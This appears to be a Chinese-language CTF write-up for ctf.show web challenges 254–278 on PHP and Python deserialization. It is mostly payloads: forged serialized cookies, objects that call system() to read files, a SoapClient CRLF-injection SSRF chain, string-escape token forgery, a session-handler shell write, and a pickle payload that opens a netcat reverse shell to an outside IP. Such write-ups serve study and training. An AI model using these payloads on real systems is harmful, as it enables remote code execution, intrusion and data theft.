web254
?username=xxxxxx&password=xxxxxx
web255
GET /?username=xxxxxx&password=xxxxxx HTTP/1.1
Host: d66c6632-05e8-4703-9bac-14213020568d.challenge.ctf.show:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: user=%4f%3a%31%31%3a%22%63%74%66%53%68%6f%77%55%73%65%72%22%3a%33%3a%7b%73%3a%38%3a%22%75%73%65%72%6e%61%6d%65%22%3b%73%3a%36%3a%22%78%78%78%78%78%78%22%3b%73%3a%38%3a%22%70%61%73%73%77%6f%72%64%22%3b%73%3a%36%3a%22%78%78%78%78%78%78%22%3b%73%3a%35%3a%22%69%73%56%69%70%22%3b%73%3a%34%3a%22%74%72%75%65%22%3b%7d
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
web256
输入的username和序列化的一样,password不一样。
class ctfShowUser{
public $isVip=true;
public $username='wa1ki0g';
}
echo serialize(new ctfShowUser);
web257
class ctfShowUser{
private $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code='system("cat f*");';
}
$b=new ctfShowUser();
echo urlencode(serialize($b));
以前做过,写wp的时候会环境打不开,直接搬了别人的
也可以不用:
(知识点:php7.1+反序列化对类属性不敏感
利用php特定版本下对private和public不敏感的特性构造)
web258
正则可以直接加个+绕过
GET /?username=xxxxxx&password=xxxxx HTTP/1.1
Host: 6d77bae1-031e-473d-a426-44f8fd1e4c9b.challenge.ctf.show:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A13%3A%22system%28%22ls%22%29%3B%22%3B%7D%7D
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
利用点:SoapClient::__call+ssrf
可以看到soapaction可以被控制
但Content-Type在SOAPAction的上面,就无法控制Content-Typ,也就不能控制POST的数据,在header里User-Agent在Content-Type前面,可以利用User-Agent进行注入CRLF
payload:
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wa1ki0g^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>
这里uri是必须要有的,要不序列化的时候会报错。
web260
ctfhsow=ctfshow_i_love_36D
web261
不会,就告诉了有个反序列化的参数我哪知道要干嘛。。。
web262
发现可以用replace进行反序列化字符逃逸,看了半天,但是没发现利用的点,后来看注释发现还有个message.php。。。访问发现只要token=admin就可以得到flag。
利用点:序列化后进行str_replace(‘fuck’, ‘loveU’, serialize($msg))
27个字符:";s:5:“token”;s:5:“admin”;},利用replace函数逃逸出27个字符就好
f=wa1ki0g&m=0x4e&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
web263
session反序列化
不同引擎存储的方式不同的是。
PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法
其实总的来说就是利用session.serialize_handler与php.ini的配置不同引起的反序列化的问题。
class User{
public $username='wa1ki0g.php';
public $password='';
public $status;
}
$a=new User();
echo base64_encode('|'.serialize($a));
访问首页,抓包修改 cookie中的limit值 为序列化后的字符串,访问 check.php,成功写入shell
web264
同262做法
f=wa1ki0g&m=0x4e&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
GET /?f=wa1ki0g&m=0x4e&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck%22;s:5:%22token%22;s:5:%22admin%22;} HTTP/1.1
Host: 363fb3f9-0ec8-4e28-94d5-09abee4a4684.challenge.ctf.show:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=s5v4jbhmifaf7mev8tra99ree1
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
GET /message.php HTTP/1.1
Host: 363fb3f9-0ec8-4e28-94d5-09abee4a4684.challenge.ctf.show:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=s5v4jbhmifaf7mev8tra99ree1;msg=1;
Upgrade-Insecure-Requests: 1
web265
学过c++或者系统学过php的都知道有个引用的语法糖。可以自行查一下
class ctfshowAdmin{
public $token;
public $password;
public function login(){
return $this->token===$this->password;
}
}
$a=new ctfshowAdmin();
$a->token=&$a->password;
$a=urlencode(serialize($a));
echo $a;
web266
php对类的名不分大小写,可以大小写直接绕过正则。
因为用的是php://input,直接post一个序列化的字符串调用__destruct()函数即可
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$a=new ctfshow();
$a->username='wa1ki0g';
$a->password='wa1ki0g';
echo ((serialize($a)));
web267-270
yii框架的反序列化漏洞
直接搜个现成的exp打就可以
可以参考着这个来:
https://www.cnblogs.com/thresh/p/13743081.html
都直接搜的exp打的,有空好好分析下这些链。
web271-273
laravel5.7和5.8的洞,直接搜下打就好了,有空都复现分析下。
web274
thinkphp5.1的反序列化漏洞,好像上次湖湘杯线下也有这个。
web275
__destruct析构函数可以执行命令
?fn=;cat flag.php
flag=wa1ki0g
web276
看见了file_put_contents这个文件操作函数,觉得应该是phar反序列化,明天再写吧,困了。。。
web277-278
F12看见了pickle.loads,python反序列化没跑。python的反序列化洞其实就是python在序列化的时候会把类中的方法也序列化成字节码,并且反序列化的时候会执行。
没回显,直接vps监听个端口弹个shell回去就好
import pickle
import base64
class Wa1ki0g(object):
def __reduce__(self):
return(eval,('__import__("os").popen("nc 49.234.61.68 8000 -e /bin/bash").read()',))
print(base64.b64encode(pickle.dumps(Wa1ki0g())))
要注意这个object是必须要写的
没vps用dns外带下也可以